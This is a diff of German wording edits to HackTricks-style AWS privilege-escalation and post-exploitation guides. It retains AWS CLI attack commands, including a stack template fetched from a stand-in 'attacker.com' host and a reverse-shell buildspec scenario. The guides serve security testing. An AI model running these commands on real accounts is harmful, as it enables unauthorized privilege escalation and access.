+23,8 @@ Ein Angreifer mit diesen Berechtigungen könnte in der Lage sein, Zustandsmaschi > [!NOTE] > > - Wenn Sie eine Zustandsmaschine löschen, löschen Sie auch alle zugehörigen Versionen und Aliase. -> - Wenn Sie einen Zustandsmaschinenalias löschen, löschen Sie nicht die Zustandsmaschinenversionen, die auf diesen Alias verweisen. -> - Es ist nicht möglich, eine Zustandsmaschinenversion zu löschen, die derzeit von einem oder mehreren Aliasen referenziert wird. +> - Wenn Sie einen Alias einer Zustandsmaschine löschen, löschen Sie nicht die Versionen der Zustandsmaschine, die auf diesen Alias verweisen. +> - Es ist nicht möglich, eine Version einer Zustandsmaschine zu löschen, die derzeit von einem oder mehreren Aliasen referenziert wird. ```bash # Delete state machine aws stepfunctions delete-state-machine --state-machine-arn @@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn ### `states:UpdateMapRun` -Ein Angreifer mit dieser Berechtigung könnte die Konfiguration für das Scheitern von Map Runs und die parallele Einstellung manipulieren, indem er die maximale Anzahl der zulässigen Ausführungen von untergeordneten Arbeitsabläufen erhöhen oder verringern kann, was sich direkt auf die Leistung des Dienstes auswirkt. Darüber hinaus könnte ein Angreifer den tolerierten Prozentsatz und die Anzahl der Fehler manipulieren, indem er diesen Wert auf 0 senkt, sodass jedes Mal, wenn ein Element fehlschlägt, der gesamte Map Run fehlschlägt, was sich direkt auf die Ausführung der Zustandsmaschine auswirkt und potenziell kritische Arbeitsabläufe stört. +Ein Angreifer mit dieser Berechtigung könnte die Konfiguration für das Scheitern von Map Runs und die parallele Einstellung manipulieren, indem er die maximale Anzahl der zulässigen Ausführungen von untergeordneten Arbeitsabläufen erhöhen oder verringern kann, was sich direkt auf die Leistung des Dienstes auswirkt. Darüber hinaus könnte ein Angreifer den tolerierten Prozentsatz und die Anzahl der Fehler manipulieren und diesen Wert auf 0 senken, sodass jedes Mal, wenn ein Element fehlschlägt, der gesamte Map Run fehlschlägt, was sich direkt auf die Ausführung der Zustandsmaschine auswirkt und potenziell kritische Arbeitsabläufe stören könnte. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` @@ -52,15 +52,15 @@ Ein Angreifer mit dieser Berechtigung könnte in der Lage sein, die Ausführung ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` -- **Potenzielle Auswirkungen**: Störung laufender Workflows, betriebliche Ausfallzeiten und potenzielle Datenkorruption. +- **Potenzielle Auswirkungen**: Störung laufender Arbeitsabläufe, betriebliche Ausfallzeiten und potenzielle Datenkorruption. ### `states:TagResource`, `states:UntagResource` -Ein Angreifer könnte Tags von Step Functions-Ressourcen hinzufügen, ändern oder entfernen, wodurch die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, gestört werden. +Ein Angreifer könnte Tags von Step Functions-Ressourcen hinzufügen, ändern oder entfernen, was die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören würde. ```bash aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` -**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcennachverfolgung und tagbasierter Zugriffskontrollrichtlinien. +**Potenzielle Auswirkungen**: Störung der Kostenallokation, der Ressourcenverfolgung und der tagbasierten Zugriffskontrollrichtlinien. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index 86adec2ea..5a6ea0738 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -12,7 +12,7 @@ Für weitere Informationen: ### Von IAM-Credentials zur Konsole -Wenn Sie es geschafft haben, einige IAM-Credentials zu erhalten, könnten Sie daran interessiert sein, **auf die Webkonsole zuzugreifen** mit den folgenden Tools.\ +Wenn es Ihnen gelungen ist, einige IAM-Credentials zu erhalten, könnten Sie daran interessiert sein, **auf die Webkonsole zuzugreifen** mit den folgenden Tools.\ Beachten Sie, dass der Benutzer/die Rolle die Berechtigung **`sts:GetFederationToken`** haben muss. #### Benutzerdefiniertes Skript @@ -50,7 +50,6 @@ resp=$(curl -s "$federation_endpoint" \ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) - # Give the URL to login echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token" ``` @@ -65,7 +64,7 @@ pip install aws-consoler aws_consoler [params...] #This will generate a link to login into the console ``` > [!WARNING] -> Stellen Sie sicher, dass der IAM-Benutzer die Berechtigung `sts:GetFederationToken` hat, oder stellen Sie eine Rolle zur Verfügung, die übernommen werden kann. +> Stellen Sie sicher, dass der IAM-Benutzer die Berechtigung `sts:GetFederationToken` hat oder eine Rolle zum Übernehmen bereitstellt. #### aws-vault diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md index 94ae5c18f..efbed17a4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md @@ -29,20 +29,20 @@ aws --region apigateway get-api-key --api-key --include-value ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -Mit diesen Berechtigungen ist es möglich, die Ressourcenrichtlinie einer API zu ändern, um sich selbst den Zugriff zu gewähren, um sie aufzurufen und potenziellen Zugriff, den das API-Gateway haben könnte, auszunutzen (wie das Aufrufen eines anfälligen Lambda). +Mit diesen Berechtigungen ist es möglich, die Ressourcenrichtlinie einer API zu ändern, um sich selbst den Zugriff zu gewähren, sie aufzurufen und potenzielle Zugriffe, die das API-Gateway haben könnte, auszunutzen (wie das Aufrufen einer verwundbaren Lambda). ```bash aws apigateway update-rest-api \ --rest-api-id api-id \ --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' ``` -**Potenzielle Auswirkungen:** Sie werden normalerweise nicht direkt mit dieser Technik privesc erreichen können, aber Sie könnten Zugang zu sensiblen Informationen erhalten. +**Potenzielle Auswirkungen:** Sie werden normalerweise nicht in der Lage sein, direkt mit dieser Technik Privilegien zu erhöhen, aber Sie könnten Zugang zu sensiblen Informationen erhalten. ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` -> [!NOTE] +> [!HINWEIS] > Muss getestet werden -Ein Angreifer mit den Berechtigungen `apigateway:PutIntegration`, `apigateway:CreateDeployment` und `iam:PassRole` kann **eine neue Integration zu einer bestehenden API Gateway REST API mit einer Lambda-Funktion hinzufügen, die eine IAM-Rolle zugewiesen hat**. Der Angreifer kann dann **die Lambda-Funktion auslösen, um beliebigen Code auszuführen und möglicherweise Zugang zu den mit der IAM-Rolle verbundenen Ressourcen zu erhalten**. +Ein Angreifer mit den Berechtigungen `apigateway:PutIntegration`, `apigateway:CreateDeployment` und `iam:PassRole` kann **eine neue Integration zu einer bestehenden API Gateway REST API mit einer Lambda-Funktion hinzufügen, die eine IAM-Rolle zugewiesen hat**. Der Angreifer kann dann **die Lambda-Funktion auslösen, um beliebigen Code auszuführen und möglicherweise Zugriff auf die mit der IAM-Rolle verbundenen Ressourcen zu erhalten**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -90,6 +90,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new # Update the VPC Link aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" ``` -**Potenzielle Auswirkungen**: Unbefugter Zugriff auf private API-Ressourcen, Abfangen oder Störung des API-Verkehrs. +**Potenzielle Auswirkungen**: Unbefugter Zugriff auf private API-Ressourcen, Abfangen oder Stören des API-Verkehrs. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 22c3a00e4..e48e6e892 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -4,7 +4,7 @@ ## cloudformation -Für weitere Informationen über cloudformation siehe: +Für weitere Informationen zu Cloudformation siehe: {{#ref}} ../../aws-services/aws-cloudformation-and-codestar-enum.md @@ -12,23 +12,23 @@ Für weitere Informationen über cloudformation siehe: ### `iam:PassRole`, `cloudformation:CreateStack` -Ein Angreifer mit diesen Berechtigungen **kann Privilegien eskalieren**, indem er einen **CloudFormation-Stack** mit einer benutzerdefinierten Vorlage erstellt, die auf ihrem Server gehostet wird, um **Aktionen unter den Berechtigungen einer angegebenen Rolle auszuführen:** +Ein Angreifer mit diesen Berechtigungen **kann Privilegien eskalieren**, indem er einen **CloudFormation-Stack** mit einer benutzerdefinierten Vorlage erstellt, die auf seinem Server gehostet wird, um **Aktionen unter den Berechtigungen einer angegebenen Rolle auszuführen:** ```bash aws cloudformation create-stack --stack-name \ --template-url http://attacker.com/attackers.template \ --role-arn ``` -Auf der folgenden Seite haben Sie ein **Ausbeutungsbeispiel** mit der zusätzlichen Berechtigung **`cloudformation:DescribeStacks`**: +Auf der folgenden Seite haben Sie ein **Exploitation-Beispiel** mit der zusätzlichen Berechtigung **`cloudformation:DescribeStacks`**: {{#ref}} iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md {{#endref}} -**Potenzielle Auswirkungen:** Privesc auf die angegebene cloudformation-Dienstrolle. +**Potenzielle Auswirkungen:** Privesc auf die angegebene Cloudformation-Service-Rolle. ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`) -In diesem Fall können Sie einen **bestehenden cloudformation-Stack** missbrauchen, um ihn zu aktualisieren und Privilegien wie im vorherigen Szenario zu eskalieren: +In diesem Fall können Sie eine **bestehende Cloudformation-Stack** missbrauchen, um sie zu aktualisieren und Privilegien wie im vorherigen Szenario zu eskalieren: ```bash aws cloudformation update-stack \ --stack-name privesc \ @@ -37,15 +37,15 @@ aws cloudformation update-stack \ --capabilities CAPABILITY_IAM \ --region eu-west-1 ``` -Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sich selbst die `UpdateStack` Berechtigung** für einen Stack zu geben und den Angriff durchzuführen. +Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sich selbst die `UpdateStack` Berechtigung** über einen Stack zu geben und den Angriff durchzuführen. **Potenzielle Auswirkungen:** Privesc auf die angegebene cloudformation-Dienstrolle. ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -Wenn Sie diese Berechtigung haben, aber **keine `iam:PassRole`**, können Sie dennoch **die verwendeten Stacks aktualisieren** und die **IAM-Rollen, die bereits angehängt sind, missbrauchen**. Überprüfen Sie den vorherigen Abschnitt für ein Beispiel zum Ausnutzen (geben Sie einfach keine Rolle in der Aktualisierung an). +Wenn Sie diese Berechtigung haben, aber **keine `iam:PassRole`**, können Sie dennoch **die verwendeten Stacks aktualisieren** und die **IAM-Rollen, die bereits angehängt sind, missbrauchen**. Überprüfen Sie den vorherigen Abschnitt für ein Exploit-Beispiel (geben Sie einfach keine Rolle in der Aktualisierung an). -Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sich selbst die `UpdateStack` Berechtigung** für einen Stack zu geben und den Angriff durchzuführen. +Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sich selbst die `UpdateStack` Berechtigung** über einen Stack zu geben und den Angriff durchzuführen. **Potenzielle Auswirkungen:** Privesc auf die bereits angehängte cloudformation-Dienstrolle. @@ -85,7 +85,7 @@ Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sic ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -Dies ist wie die vorherige Methode, ohne **IAM-Rollen** zu übergeben, sodass Sie einfach **bereits angehängte nutzen** können, ändern Sie einfach den Parameter: +Dies ist wie die vorherige Methode, ohne **IAM-Rollen** zu übergeben, sodass Sie einfach **bereits angehängte** verwenden können, ändern Sie einfach den Parameter: ``` --change-set-type UPDATE ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md index b42aa7d67..c4e98c6a9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -1,4 +1,4 @@ -# iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks +# iam:PassRole, cloudformation:CreateStack, und cloudformation:DescribeStacks {{#include ../../../../banners/hacktricks-training.md}} @@ -55,14 +55,14 @@ Ein Angreifer könnte beispielsweise eine **cloudformation-Vorlage** verwenden, } } ``` -Dann **generiere den CloudFormation-Stack**: +Dann **erstellen Sie den CloudFormation-Stack**: ```bash aws cloudformation create-stack --stack-name privesc \ --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ --role arn:aws:iam::[REDACTED]:role/adminaccess \ --capabilities CAPABILITY_IAM --region us-west-2 ``` -**Warten Sie ein paar Minuten**, bis der Stack generiert ist, und **holen Sie die Ausgabe** des Stacks, in dem die **Anmeldeinformationen gespeichert sind**: +**Warten Sie ein paar Minuten**, bis der Stack generiert ist, und **holen Sie sich die Ausgabe** des Stacks, in dem die **Anmeldeinformationen gespeichert sind**: ```bash aws cloudformation describe-stacks \ --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index bec620f77..da8b3a8b5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -12,7 +12,7 @@ Weitere Informationen finden Sie in: ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -Nur mit einer dieser Berechtigungen reicht es aus, einen Build mit einem neuen Buildspec auszulösen und das Token der dem Projekt zugewiesenen IAM-Rolle zu stehlen: +Nur mit einer dieser Berechtigungen reicht es aus, um einen Build mit einem neuen Buildspec auszulösen und das Token der dem Projekt zugewiesenen IAM-Rolle zu stehlen: {{#tabs }} {{#tab name="StartBuild" }} @@ -67,7 +67,7 @@ aws codebuild start-build-batch --project --buildspec-override fi ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Ein Angreifer mit den Berechtigungen **`iam:PassRole`, `codebuild:CreateProject` und `codebuild:StartBuild` oder `codebuild:StartBuildBatch`** wäre in der Lage, **die Privilegien zu jeder Codebuild IAM-Rolle zu eskalieren**, indem er eine laufende erstellt. +Ein Angreifer mit den Berechtigungen **`iam:PassRole`, `codebuild:CreateProject` und `codebuild:StartBuild` oder `codebuild:StartBuildBatch`** wäre in der Lage, **die Privilegien auf jede Codebuild IAM-Rolle zu eskalieren**, indem er eine laufende erstellt. {{#tabs }} {{#tab name="Example1" }} @@ -275,8 +275,8 @@ Das Codebuild-Projekt muss einen Haltepunkt haben:
phases:
 pre_build:
 commands:
-- echo Betreten der pre_build-Phase...
-- echo "Hallo Welt" > /tmp/hello-world
+- echo Entered the pre_build phase...
+- echo "Hello World" > /tmp/hello-world
       - codebuild-breakpoint
 
@@ -289,7 +289,7 @@ Für weitere Informationen [**siehe die Dokumentation**](https://docs.aws.amazon ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -Ein Angreifer, der in der Lage ist, einen Build eines bestimmten CodeBuild-Projekts zu starten/neuzustarten, dessen `buildspec.yml`-Datei in einem S3-Bucket gespeichert ist, auf den der Angreifer Schreibzugriff hat, kann die Ausführung von Befehlen im CodeBuild-Prozess erlangen. +Ein Angreifer, der in der Lage ist, einen Build eines bestimmten CodeBuild-Projekts zu starten/neuzustarten, das seine `buildspec.yml`-Datei in einem S3-Bucket speichert, auf den der Angreifer Schreibzugriff hat, kann die Ausführung von Befehlen im CodeBuild-Prozess erlangen. Hinweis: Die Eskalation ist nur relevant, wenn der CodeBuild-Arbeiter eine andere Rolle hat, hoffentlich mit mehr Berechtigungen, als die des Angreifers. ```bash @@ -308,7 +308,7 @@ aws codebuild start-build --project-name # Wait for the reverse shell :) ``` -Sie können etwas wie dieses **buildspec** verwenden, um eine **reverse shell** zu erhalten: +Sie können etwas wie dies **buildspec** verwenden, um eine **reverse shell** zu erhalten: ```yaml:buildspec.yml version: 0.2 @@ -320,7 +320,7 @@ commands: **Auswirkungen:** Direkte Privilegieneskalation zu der Rolle, die vom AWS CodeBuild-Arbeiter verwendet wird, die normalerweise hohe Berechtigungen hat. > [!WARNING] -> Beachten Sie, dass das buildspec im Zip-Format erwartet werden könnte, sodass ein Angreifer die `buildspec.yml` aus dem Stammverzeichnis herunterladen, entpacken, ändern, erneut zippen und hochladen müsste. +> Beachten Sie, dass das buildspec im Zip-Format erwartet werden könnte, sodass ein Angreifer herunterladen, entpacken, die `buildspec.yml` im Stammverzeichnis ändern, erneut zippen und hochladen müsste. Weitere Details sind [hier](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) zu finden. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md index 450c7705c..7e8fef6c7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md @@ -4,7 +4,7 @@ ## Codestar -Sie können weitere Informationen zu Codestar finden in: +Weitere Informationen zu Codestar finden Sie in: {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -49,22 +49,22 @@ codestar-createproject-codestar-associateteammember.md ### `codestar:CreateProjectFromTemplate` -1. **Ein neues Projekt erstellen:** -- Nutzen Sie die **`codestar:CreateProjectFromTemplate`**-Aktion, um die Erstellung eines neuen Projekts zu initiieren. +1. **Neues Projekt erstellen:** +- Nutzen Sie die Aktion **`codestar:CreateProjectFromTemplate`**, um die Erstellung eines neuen Projekts zu initiieren. - Nach erfolgreicher Erstellung wird automatisch Zugriff auf **`cloudformation:UpdateStack`** gewährt. - Dieser Zugriff zielt speziell auf einen Stack, der mit der `CodeStarWorker--CloudFormation` IAM-Rolle verbunden ist. -2. **Aktualisieren Sie den Ziel-Stack:** +2. **Ziel-Stack aktualisieren:** - Mit den gewährten CloudFormation-Berechtigungen fahren Sie fort, den angegebenen Stack zu aktualisieren. -- Der Name des Stacks wird typischerweise einem der beiden Muster entsprechen: +- Der Name des Stacks wird typischerweise einem von zwei Mustern entsprechen: - `awscodestar--infrastructure` - `awscodestar--lambda` -- Der genaue Name hängt von der gewählten Vorlage ab (siehe das Beispiel-Exploit-Skript). +- Der genaue Name hängt von der gewählten Vorlage ab (siehe Beispiel-Exploit-Skript). 3. **Zugriff und Berechtigungen:** - Nach der Aktualisierung erhalten Sie die Fähigkeiten, die der **CloudFormation IAM-Rolle** zugeordnet sind, die mit dem Stack verbunden ist. - Hinweis: Dies gewährt nicht automatisch vollständige Administratorrechte. Weitere falsch konfigurierte Ressourcen innerhalb der Umgebung könnten erforderlich sein, um die Berechtigungen weiter zu erhöhen. Für weitere Informationen überprüfen Sie die ursprüngliche Forschung: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ -Sie finden das Exploit unter [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) +Sie finden den Exploit unter [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) **Potenzielle Auswirkungen:** Privesc zur CloudFormation IAM-Rolle. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md index b53046815..1363e490f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md @@ -2,9 +2,9 @@ {{#include ../../../../banners/hacktricks-training.md}} -Mit diesen Berechtigungen können Sie **eine codestar IAM-Rolle missbrauchen**, um **willkürliche Aktionen** über eine **CloudFormation-Vorlage** auszuführen. +Mit diesen Berechtigungen können Sie **eine codestar IAM-Rolle ausnutzen**, um **willkürliche Aktionen** über eine **CloudFormation-Vorlage** durchzuführen. -Um dies auszunutzen, müssen Sie einen **S3-Bucket erstellen, der vom angegriffenen Konto aus zugänglich ist**. Laden Sie eine Datei namens `toolchain.json` hoch. Diese Datei sollte die **CloudFormation-Vorlagenausnutzung** enthalten. Die folgende kann verwendet werden, um eine verwaltete Richtlinie einem Benutzer unter Ihrer Kontrolle zuzuweisen und **ihm Administratorberechtigungen zu geben**: +Um dies auszunutzen, müssen Sie einen **S3-Bucket erstellen, der vom angegriffenen Konto zugänglich ist**. Laden Sie eine Datei namens `toolchain.json` hoch. Diese Datei sollte die **CloudFormation-Vorlagenausnutzung** enthalten. Die folgende kann verwendet werden, um eine verwaltete Richtlinie einem Benutzer unter Ihrer Kontrolle zuzuweisen und **ihm Administratorberechtigungen zu geben**: ```json:toolchain.json { "Resources": { @@ -28,7 +28,7 @@ Um dies auszunutzen, müssen Sie einen **S3-Bucket erstellen, der vom angegriffe } } ``` -Auch **lade** diese `leere zip` Datei in den **bucket** hoch: +Lade auch diese `leere zip` Datei in den **bucket** hoch: {% file src="../../../../images/empty.zip" %} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md index c7e8ed78b..44faba0ba 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md @@ -4,7 +4,7 @@ ## Cognito -Für weitere Informationen zu Cognito siehe: +Für weitere Informationen über Cognito siehe: {{#ref}} ../aws-services/aws-cognito-enum/ @@ -16,7 +16,7 @@ Da Cognito **IAM-Rollenanmeldeinformationen** sowohl an **authentifizierte** als Für weitere Informationen [**siehe diese Seite**](../aws-unauthenticated-enum-access/#cognito). -**Potenzielle Auswirkungen:** Direkte privesc zu der Dienstrolle, die an unauthentifizierte Benutzer angehängt ist (und wahrscheinlich auch zu der, die an authentifizierte Benutzer angehängt ist). +**Potenzielle Auswirkungen:** Direkter privesc auf die Dienstrolle, die an unauthentifizierte Benutzer angehängt ist (und wahrscheinlich auch an die, die an authentifizierte Benutzer angehängt ist). ### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` @@ -38,7 +38,7 @@ Wenn die Cognito-App **keine nicht authentifizierten Benutzer aktiviert hat**, b ### `cognito-identity:update-identity-pool` -Ein Angreifer mit dieser Berechtigung könnte beispielsweise einen Cognito-Benutzerpool unter seiner Kontrolle oder einen anderen Identitätsanbieter festlegen, bei dem er sich anmelden kann, **um auf diesen Cognito-Identitätspool zuzugreifen**. Dann wird ihm nur **die Anmeldung** bei diesem Benutzeranbieter **ermöglichen, auf die konfigurierte authentifizierte Rolle im Identitätspool zuzugreifen**. +Ein Angreifer mit dieser Berechtigung könnte beispielsweise einen Cognito-Benutzerpool unter seiner Kontrolle oder einen anderen Identitätsanbieter festlegen, bei dem er sich anmelden kann, **um auf diesen Cognito-Identitätspool zuzugreifen**. Dann wird ihm nur die **Anmeldung** bei diesem Benutzeranbieter **ermöglichen, auf die konfigurierte authentifizierte Rolle im Identitätspool zuzugreifen**. ```bash # This example is using a Cognito User Pool as identity provider ## but you could use any other identity provider @@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \ --identity-id \ --logins cognito-idp..amazonaws.com/= ``` -Es ist auch möglich, diese Berechtigung zu **missbrauchen, um die grundlegende Authentifizierung zu ermöglichen**: +Es ist auch möglich, diese Berechtigung zu **missbrauchen, um eine grundlegende Authentifizierung zu ermöglichen**: ```bash aws cognito-identity update-identity-pool \ --identity-pool-id \ @@ -84,7 +84,7 @@ aws cognito-idp admin-add-user-to-group \ ### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` -Ein Angreifer mit diesen Berechtigungen könnte **Gruppen erstellen/aktualisieren** mit **jeder IAM-Rolle, die von einem kompromittierten Cognito-Identitätsanbieter verwendet werden kann**, und einen kompromittierten Benutzer Teil der Gruppe machen, wodurch auf all diese Rollen zugegriffen werden kann: +Ein Angreifer mit diesen Berechtigungen könnte **Gruppen erstellen/aktualisieren** mit **jeder IAM-Rolle, die von einem kompromittierten Cognito Identity Provider verwendet werden kann**, und einen kompromittierten Benutzer Teil der Gruppe machen, wodurch auf all diese Rollen zugegriffen werden kann: ```bash aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn ``` @@ -92,7 +92,7 @@ aws cognito-idp create-group --group-name Hacked --user-pool-id - ### `cognito-idp:AdminConfirmSignUp` -Diese Berechtigung ermöglicht es, **eine Anmeldung zu bestätigen**. Standardmäßig kann sich jeder in Cognito-Anwendungen anmelden. Wenn dies so bleibt, könnte ein Benutzer ein Konto mit beliebigen Daten erstellen und es mit dieser Berechtigung verifizieren. +Diese Berechtigung ermöglicht es, **eine Anmeldung zu bestätigen**. Standardmäßig kann sich jeder in Cognito-Anwendungen anmelden. Wenn das so bleibt, könnte ein Benutzer ein Konto mit beliebigen Daten erstellen und es mit dieser Berechtigung verifizieren. ```bash aws cognito-idp admin-confirm-sign-up \ --user-pool-id \ @@ -111,17 +111,17 @@ aws cognito-idp admin-create-user \ [--validation-data ] [--temporary-password ] ``` -**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer. Indirekte Privilegieneskalation zu anderen App-Funktionalitäten, indem er in der Lage ist, jeden Benutzer zu erstellen. +**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer. Indirekte Privilegieneskalation zu anderen App-Funktionalitäten, indem man in der Lage ist, jeden Benutzer zu erstellen. ### `cognito-idp:AdminEnableUser` -Diese Berechtigung kann in einem sehr speziellen Szenario hilfreich sein, in dem ein Angreifer die Anmeldeinformationen eines deaktivierten Benutzers gefunden hat und er ihn **wieder aktivieren** muss. +Diese Berechtigungen können in einem sehr speziellen Szenario hilfreich sein, in dem ein Angreifer die Anmeldeinformationen eines deaktivierten Benutzers gefunden hat und er ihn **wieder aktivieren** muss. ```bash aws cognito-idp admin-enable-user \ --user-pool-id \ --username ``` -**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer und Berechtigungen des Benutzers, wenn der Angreifer über Anmeldeinformationen für einen deaktivierten Benutzer verfügte. +**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer und Berechtigungen des Benutzers, wenn der Angreifer Anmeldeinformationen für einen deaktivierten Benutzer hatte. ### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** @@ -164,13 +164,13 @@ aws cognito-idp set-user-pool-mfa-config \ [--software-token-mfa-configuration ] \ [--mfa-configuration ] ``` -**UpdateUserPool:** Es ist auch möglich, den Benutzerpool zu aktualisieren, um die MFA-Richtlinie zu ändern. [Überprüfen Sie die CLI hier](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). +**UpdateUserPool:** Es ist auch möglich, den Benutzerpool zu aktualisieren, um die MFA-Richtlinie zu ändern. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). -**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation zu potenziell jedem Benutzer, dessen Anmeldeinformationen der Angreifer kennt, dies könnte es ermöglichen, den MFA-Schutz zu umgehen. +**Potential Impact:** Indirekte Privilegieneskalation 